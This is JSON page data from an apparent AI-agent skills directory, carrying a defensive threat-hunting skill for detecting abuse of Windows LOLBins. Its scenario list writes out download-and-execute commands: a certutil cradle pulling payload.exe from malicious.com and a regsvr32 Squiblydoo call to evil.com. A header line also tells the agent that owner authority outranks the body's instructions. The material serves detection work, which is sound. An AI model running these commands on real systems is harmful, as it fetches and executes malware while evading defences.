[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M71B652V8TKHA36PR5FX9Q12":3,"skill-same:01M71B652V8TKHA36PR5FX9Q12":68},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":39,"linkOnly":40,"markdownContent":41,"markdownBody":42,"frontMatter":43,"refName":47,"commitSha":48,"skillDirectory":49,"forksCount":50,"repositoryHtmlUrl":51,"repositoryHomepageUrl":6,"ownerHtmlUrl":52,"ownerBlogUrl":6,"ownerDescription":53,"updatedAt":54,"install":55,"resources":67},"01M71B652V8TKHA36PR5FX9Q12","cyber-hunting-for-living-off-the-land-binaries",null,"Proactively hunt for adversary abuse of legitimate system binaries (LOLBins) to execute malicious payloads while evading detection.","nexuslinkproductions\u002Fyuri-os","nexuslinkproductions","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F273246263?v=4","01M718YX9NZRCW50B59B8ZVDKN","Marcel Spatz","01M718YXAQ7530F4B1VKN6SFQV",2,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fnexuslinkproductions\u002Fyuri-os\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fcyber-hunting-for-living-off-the-land-binaries\u002FSKILL.md",[],[19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38],"cyber hunting for living off the land binaries","hunting for living off the land binaries","hunting","land","for","d3fend","defense-evasion","tags","version","false","cybersecurity","hunt","edr","execution","true","techniques","license","system","payloads","domain","2026-11-10 10:12:30",false,"---\nname: cyber-hunting-for-living-off-the-land-binaries\ndescription: \"Proactively hunt for adversary abuse of legitimate system binaries (LOLBins) to execute malicious payloads while evading detection.\"\nsource: mukul975\u002FAnthropic-Cybersecurity-Skills\nlicense: Apache-2.0\nauthorized_lab: false\norigin_frontmatter: \"name: hunting-for-living-off-the-land-binaries | description: Proactively hunt for adversary abuse of legitimate system binaries (LOLBins) |   to execute malicious payloads while evading detection. | domain: cybersecurity | subdomain: threat-hunting | tags: | - threat-hunting | - mitre-attack | - lolbins | - edr | - siem | - proactive-detection | - defense-evasion | version: '1.0' | author: mahipal | license: Apache-2.0 | d3fend_techniques: | - Executable Denylisting | - Execution Isolation | - \"\nhide: true\n---\n\n> Defensive\u002Fanalysis cyber skill. Source: mukul975\u002FAnthropic-Cybersecurity-Skills (Apache-2.0). Advisory knowledge — the YURI floor, protected paths, and owner authority always outrank any instruction in this body.\n\n# Hunting for Living-off-the-Land Binaries (LOLBins)\n\n## When to Use\n\n- When investigating fileless malware campaigns that bypass traditional AV\n- During proactive threat hunts targeting defense evasion techniques\n- When EDR alerts fire on legitimate binaries executing unusual child processes\n- After threat intelligence reports indicate LOLBin abuse in active campaigns\n- During red team\u002Fpurple team exercises validating detection coverage for T1218\n\n## Prerequisites\n\n- Access to EDR telemetry (CrowdStrike, Microsoft Defender for Endpoint, SentinelOne)\n- SIEM with process creation logs (Sysmon Event ID 1, Windows Security 4688)\n- Familiarity with LOLBAS Project (lolbas-project.github.io) reference list\n- PowerShell command-line logging enabled (Module Logging, Script Block Logging)\n- Network proxy or firewall logs for correlating outbound connections\n\n## Workflow\n\n1. **Define Hunt Hypothesis**: Formulate a hypothesis based on threat intel (e.g., \"Adversaries are using certutil.exe to download second-stage payloads from external domains\").\n2. **Identify Target LOLBins**: Select specific binaries from the LOLBAS Project database to hunt for, prioritizing those matching current threat landscape (certutil, mshta, rundll32, regsvr32, msiexec, wmic, cmstp, bitsadmin).\n3. **Collect Process Telemetry**: Query EDR or SIEM for process creation events involving target LOLBins with unusual command-line arguments, parent processes, or execution contexts.\n4. **Baseline Normal Behavior**: Establish what legitimate usage looks like for each LOLBin in your environment by analyzing historical frequency, typical parent processes, and standard arguments.\n5. **Identify Anomalies**: Compare current telemetry against baselines, flagging executions with network connections, encoded commands, unusual file paths, or abnormal parent-child process chains.\n6. **Correlate and Enrich**: Cross-reference anomalous LOLBin activity with network logs, DNS queries, file creation events, and threat intelligence feeds.\n7. **Document and Report**: Record findings, update detection rules, and create IOC lists for identified malicious LOLBin usage.\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| LOLBin | Legitimate OS binary abused by attackers for malicious purposes |\n| LOLBAS Project | Community-curated list of Windows LOLBins, LOLLibs, and LOLScripts |\n| T1218 | MITRE ATT&CK - Signed Binary Proxy Execution |\n| T1218.001 | Compiled HTML File (mshta.exe) |\n| T1218.002 | Control Panel (control.exe) |\n| T1218.003 | CMSTP |\n| T1218.005 | Mshta |\n| T1218.010 | Regsvr32 |\n| T1218.011 | Rundll32 |\n| T1197 | BITS Jobs (bitsadmin.exe) |\n| T1140 | Deobfuscate\u002FDecode Files (certutil.exe) |\n| Proxy Execution | Using trusted binaries to execute untrusted code |\n| Fileless Attack | Attack that operates primarily in memory without dropping files |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| CrowdStrike Falcon | EDR telemetry and process tree analysis |\n| Microsoft Defender for Endpoint | Advanced hunting with KQL queries |\n| Splunk | SIEM log aggregation and SPL queries |\n| Elastic Security | Detection rules and timeline investigation |\n| Sysmon | Detailed process creation and network logging |\n| LOLBAS Project | Reference database of LOLBin capabilities |\n| Sigma Rules | Generic detection rule format for LOLBins |\n| Velociraptor | Endpoint forensic collection and hunting |\n\n## Common Scenarios\n\n1. **Certutil Download Cradle**: Adversary uses `certutil.exe -urlcache -split -f http:\u002F\u002Fmalicious.com\u002Fpayload.exe` to download malware, bypassing web proxies that allow certutil traffic.\n2. **Mshta HTA Execution**: Attacker delivers HTA file via email that executes VBScript payload through `mshta.exe`, which is a signed Microsoft binary.\n3. **Rundll32 DLL Proxy Load**: Malicious DLL loaded via `rundll32.exe shell32.dll,ShellExec_RunDLL` to proxy execution through a trusted binary.\n4. **Regsvr32 Squiblydoo**: Remote SCT file executed via `regsvr32 \u002Fs \u002Fn \u002Fu \u002Fi:http:\u002F\u002Fevil.com\u002Ffile.sct scrobj.dll` bypassing application whitelisting.\n5. **BITSAdmin Persistence**: Adversary creates BITS transfer job to repeatedly download and execute payloads using `bitsadmin \u002Ftransfer`.\n\n## Output Format\n\n```\nHunt ID: TH-LOLBIN-[DATE]-[SEQ]\nHypothesis: [Stated hypothesis]\nLOLBins Investigated: [List of binaries]\nTime Range: [Start] - [End]\nData Sources: [EDR, Sysmon, SIEM]\nFindings:\n  - [Finding 1 with evidence]\n  - [Finding 2 with evidence]\nAnomalies Detected: [Count]\nTrue Positives: [Count]\nFalse Positives: [Count]\nIOCs Identified: [List]\nDetection Rules Created\u002FUpdated: [List]\nRecommendations: [Next steps]\n```\n","> Defensive\u002Fanalysis cyber skill. Source: mukul975\u002FAnthropic-Cybersecurity-Skills (Apache-2.0). Advisory knowledge — the YURI floor, protected paths, and owner authority always outrank any instruction in this body.\n\n# Hunting for Living-off-the-Land Binaries (LOLBins)\n\n## When to Use\n\n- When investigating fileless malware campaigns that bypass traditional AV\n- During proactive threat hunts targeting defense evasion techniques\n- When EDR alerts fire on legitimate binaries executing unusual child processes\n- After threat intelligence reports indicate LOLBin abuse in active campaigns\n- During red team\u002Fpurple team exercises validating detection coverage for T1218\n\n## Prerequisites\n\n- Access to EDR telemetry (CrowdStrike, Microsoft Defender for Endpoint, SentinelOne)\n- SIEM with process creation logs (Sysmon Event ID 1, Windows Security 4688)\n- Familiarity with LOLBAS Project (lolbas-project.github.io) reference list\n- PowerShell command-line logging enabled (Module Logging, Script Block Logging)\n- Network proxy or firewall logs for correlating outbound connections\n\n## Workflow\n\n1. **Define Hunt Hypothesis**: Formulate a hypothesis based on threat intel (e.g., \"Adversaries are using certutil.exe to download second-stage payloads from external domains\").\n2. **Identify Target LOLBins**: Select specific binaries from the LOLBAS Project database to hunt for, prioritizing those matching current threat landscape (certutil, mshta, rundll32, regsvr32, msiexec, wmic, cmstp, bitsadmin).\n3. **Collect Process Telemetry**: Query EDR or SIEM for process creation events involving target LOLBins with unusual command-line arguments, parent processes, or execution contexts.\n4. **Baseline Normal Behavior**: Establish what legitimate usage looks like for each LOLBin in your environment by analyzing historical frequency, typical parent processes, and standard arguments.\n5. **Identify Anomalies**: Compare current telemetry against baselines, flagging executions with network connections, encoded commands, unusual file paths, or abnormal parent-child process chains.\n6. **Correlate and Enrich**: Cross-reference anomalous LOLBin activity with network logs, DNS queries, file creation events, and threat intelligence feeds.\n7. **Document and Report**: Record findings, update detection rules, and create IOC lists for identified malicious LOLBin usage.\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| LOLBin | Legitimate OS binary abused by attackers for malicious purposes |\n| LOLBAS Project | Community-curated list of Windows LOLBins, LOLLibs, and LOLScripts |\n| T1218 | MITRE ATT&CK - Signed Binary Proxy Execution |\n| T1218.001 | Compiled HTML File (mshta.exe) |\n| T1218.002 | Control Panel (control.exe) |\n| T1218.003 | CMSTP |\n| T1218.005 | Mshta |\n| T1218.010 | Regsvr32 |\n| T1218.011 | Rundll32 |\n| T1197 | BITS Jobs (bitsadmin.exe) |\n| T1140 | Deobfuscate\u002FDecode Files (certutil.exe) |\n| Proxy Execution | Using trusted binaries to execute untrusted code |\n| Fileless Attack | Attack that operates primarily in memory without dropping files |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| CrowdStrike Falcon | EDR telemetry and process tree analysis |\n| Microsoft Defender for Endpoint | Advanced hunting with KQL queries |\n| Splunk | SIEM log aggregation and SPL queries |\n| Elastic Security | Detection rules and timeline investigation |\n| Sysmon | Detailed process creation and network logging |\n| LOLBAS Project | Reference database of LOLBin capabilities |\n| Sigma Rules | Generic detection rule format for LOLBins |\n| Velociraptor | Endpoint forensic collection and hunting |\n\n## Common Scenarios\n\n1. **Certutil Download Cradle**: Adversary uses `certutil.exe -urlcache -split -f http:\u002F\u002Fmalicious.com\u002Fpayload.exe` to download malware, bypassing web proxies that allow certutil traffic.\n2. **Mshta HTA Execution**: Attacker delivers HTA file via email that executes VBScript payload through `mshta.exe`, which is a signed Microsoft binary.\n3. **Rundll32 DLL Proxy Load**: Malicious DLL loaded via `rundll32.exe shell32.dll,ShellExec_RunDLL` to proxy execution through a trusted binary.\n4. **Regsvr32 Squiblydoo**: Remote SCT file executed via `regsvr32 \u002Fs \u002Fn \u002Fu \u002Fi:http:\u002F\u002Fevil.com\u002Ffile.sct scrobj.dll` bypassing application whitelisting.\n5. **BITSAdmin Persistence**: Adversary creates BITS transfer job to repeatedly download and execute payloads using `bitsadmin \u002Ftransfer`.\n\n## Output Format\n\n```\nHunt ID: TH-LOLBIN-[DATE]-[SEQ]\nHypothesis: [Stated hypothesis]\nLOLBins Investigated: [List of binaries]\nTime Range: [Start] - [End]\nData Sources: [EDR, Sysmon, SIEM]\nFindings:\n  - [Finding 1 with evidence]\n  - [Finding 2 with evidence]\nAnomalies Detected: [Count]\nTrue Positives: [Count]\nFalse Positives: [Count]\nIOCs Identified: [List]\nDetection Rules Created\u002FUpdated: [List]\nRecommendations: [Next steps]\n```\n",{"hide":44,"name":5,"source":45,"license":15,"description":7,"authorized_lab":40,"origin_frontmatter":46},true,"mukul975\u002FAnthropic-Cybersecurity-Skills","name: hunting-for-living-off-the-land-binaries | description: Proactively hunt for adversary abuse of legitimate system binaries (LOLBins) |   to execute malicious payloads while evading detection. | domain: cybersecurity | subdomain: threat-hunting | tags: | - threat-hunting | - mitre-attack | - lolbins | - edr | - siem | - proactive-detection | - defense-evasion | version: '1.0' | author: mahipal | license: Apache-2.0 | d3fend_techniques: | - Executable Denylisting | - Execution Isolation | - ","main","4c6d8d65f3d6096e2fc25b0845e481dda73c2794",".claude\u002Fskills\u002Fcyber-hunting-for-living-off-the-land-binaries",0,"https:\u002F\u002Fgithub.com\u002Fnexuslinkproductions\u002Fyuri-os","https:\u002F\u002Fgithub.com\u002Fnexuslinkproductions","Building deterministic AI governance and continuity systems. Workflow architect + visual storyteller","2026-11-11 16:42:59",{"source":8,"skillName":5,"commands":56,"prompt":66,"zipAvailable":44},[57,60,63],{"tool":58,"command":59},"npx","npx skills add nexuslinkproductions\u002Fyuri-os --skill cyber-hunting-for-living-off-the-land-binaries",{"tool":61,"command":62},"bunx","bunx skills add nexuslinkproductions\u002Fyuri-os --skill cyber-hunting-for-living-off-the-land-binaries",{"tool":64,"command":65},"pnpm","pnpm dlx skills add nexuslinkproductions\u002Fyuri-os --skill cyber-hunting-for-living-off-the-land-binaries","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fnexuslinkproductions\u002Fyuri-os\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fcyber-hunting-for-living-off-the-land-binaries\u002FSKILL.md",[],[69,92,115,145,173,192],{"skillNo":70,"name":71,"nameZh":6,"description":72,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":73,"licenseFileUrl":6,"sourceHtmlUrl":74,"categories":75,"keywords":76,"publishedAt":39},"01M71CG1AME5WC0A79AE65WT0X","zoom-out","Tell the agent to zoom out and give broader context or a higher-level perspective. Use when you're unfamiliar with a section of code or need to understand how it fits into the bigger picture.","MIT","https:\u002F\u002Fgithub.com\u002Fnexuslinkproductions\u002Fyuri-os\u002Fblob\u002Fmain\u002Fskills\u002Fzoom-out\u002FSKILL.md",[],[77,78,79,80,81,82,83,33,84,85,86,87,88,89,90,91],"zoom out","zoom","with","harness","how","section","re","understand","use","perspective","when","you","code","it","context",{"skillNo":93,"name":94,"nameZh":6,"description":95,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":73,"licenseFileUrl":6,"sourceHtmlUrl":96,"categories":97,"keywords":98,"publishedAt":39},"01M71CFY9ATD0BAXV6B14HFG7C","yuri-shura","6-perspective adversarial review for high-stakes turns (architecture decisions, refactor planning, deployment review) — fans out architect, adversary (7-vector attack), maintainer, ops, product, and security perspectives in parallel, then consolidates. Use when user says 'review this decision', '\u002Fshura', 'adversarial review', 'what could go wrong', 'architecture review', or 'deployment review'.","https:\u002F\u002Fgithub.com\u002Fnexuslinkproductions\u002Fyuri-os\u002Fblob\u002Fmain\u002Fskills\u002Fyuri-shura\u002FSKILL.md",[],[99,100,80,101,102,23,103,104,105,106,107,85,108,87,109,110,111,112,113,114],"yuri shura","parallel","architecture review","planning","deployment","vector","strategic review","decision","strategic","ops","workflow","decisions","architecture","review","perspectives","adversarial",{"skillNo":116,"name":117,"nameZh":6,"description":118,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":73,"licenseFileUrl":6,"sourceHtmlUrl":119,"categories":120,"keywords":126,"publishedAt":39},"01M71CFTTYW1HA2MNX38EV1GJ5","yuri-sales-intelligence","Unified sales and outreach skill generating cold outreach openers, social selling sequences, objection rebuttals, and ad creative for any paid platform — multi-persona aware, adapting tone and offer frame to buyer type. Use when user says 'write a cold email', 'outreach sequence', 'objection handling', 'ad copy', or 'sales pitch'.","https:\u002F\u002Fgithub.com\u002Fnexuslinkproductions\u002Fyuri-os\u002Fblob\u002Fmain\u002Fskills\u002Fyuri-sales-intelligence\u002FSKILL.md",[121],{"categoryNo":122,"categoryName":123,"taxonomyType":124,"taxonomyTypeDesc":125},"01JBSEEDCAT000000000000005","邮件与沟通","SCENARIO","使用场景",[127,128,129,130,131,132,133,134,135,87,136,137,138,139,140,141,142,23,143,144],"intelligence","sales intelligence","yuri sales intelligence","sales","cold","paid","social","persona","pitch","cold email","ad creative","write","sequences","sequence","platform","email","cold outreach","frame",{"skillNo":146,"name":147,"nameZh":6,"description":148,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":73,"licenseFileUrl":6,"sourceHtmlUrl":149,"categories":150,"keywords":159,"publishedAt":39},"01M71CFQMBFTFADJNGP0Z2WCYK","yuri-code-intelligence","Unified code quality intelligence layer that diagnoses code smells (Long Method, Feature Envy, design pattern issues), prescribes targeted Fowler refactoring techniques, and reviews code for security, performance, and clarity. Use when user says 'review this code', 'refactor this', 'what's wrong with this method', 'code smells', or 'clean this up'.","https:\u002F\u002Fgithub.com\u002Fnexuslinkproductions\u002Fyuri-os\u002Fblob\u002Fmain\u002Fskills\u002Fyuri-code-intelligence\u002FSKILL.md",[151,154],{"categoryNo":152,"categoryName":153,"taxonomyType":124,"taxonomyTypeDesc":125},"01JBSEEDCAT000000000000007","代码审查",{"categoryNo":155,"categoryName":156,"taxonomyType":157,"taxonomyTypeDesc":158},"01JBSEEDCAT000000000000030","开发工程师","PROFESSION","适用职业",[160,89,161,127,80,162,163,164,23,165,166,167,168,169,170,34,171,172,85,87],"yuri code intelligence","code intelligence","reviews","code quality","feature","performance","code review","long","up","issues","clean","improve","design",{"skillNo":174,"name":175,"nameZh":6,"description":176,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":73,"licenseFileUrl":6,"sourceHtmlUrl":177,"categories":178,"keywords":179,"publishedAt":39},"01M71CFP32RT6GD3GKNHCJP8VP","yuri-adw","Invoke when user asks to run the ADW loop \u002F agentic engineering loop \u002F software factory workflow.","https:\u002F\u002Fgithub.com\u002Fnexuslinkproductions\u002Fyuri-os\u002Fblob\u002Fmain\u002Fskills\u002Fyuri-adw\u002FSKILL.md",[],[180,181,182,183,184,185,186,187,188,87,189,109,190,191],"yuri adw","run","engineering loop","software factory","software","agentic engineering","factory","loop","invoke","engineering","agentic","user",{"skillNo":193,"name":194,"nameZh":6,"description":195,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":73,"licenseFileUrl":6,"sourceHtmlUrl":196,"categories":197,"keywords":210,"publishedAt":39},"01M71CFK4VPEKY6A73237P7RSN","writing-skills","Use when creating new skills, editing existing skills, or verifying skills work before deployment","https:\u002F\u002Fgithub.com\u002Fnexuslinkproductions\u002Fyuri-os\u002Fblob\u002Fmain\u002Fskills\u002Fwriting-skills\u002FSKILL.md",[198,201,204,207],{"categoryNo":199,"categoryName":200,"taxonomyType":124,"taxonomyTypeDesc":125},"01JBSEEDCAT000000000000008","测试与质量",{"categoryNo":202,"categoryName":203,"taxonomyType":124,"taxonomyTypeDesc":125},"01JBSEEDCAT000000000000018","写作与文案",{"categoryNo":205,"categoryName":206,"taxonomyType":124,"taxonomyTypeDesc":125},"01JBSEEDCAT000000000000023","Skill与智能体开发",{"categoryNo":208,"categoryName":209,"taxonomyType":157,"taxonomyTypeDesc":158},"01JBSEEDCAT000000000000036","内容创作者",[211,212,213,87,109,214,80,215,103,85,216],"writing","writing skills","new","work","editing","Existing"]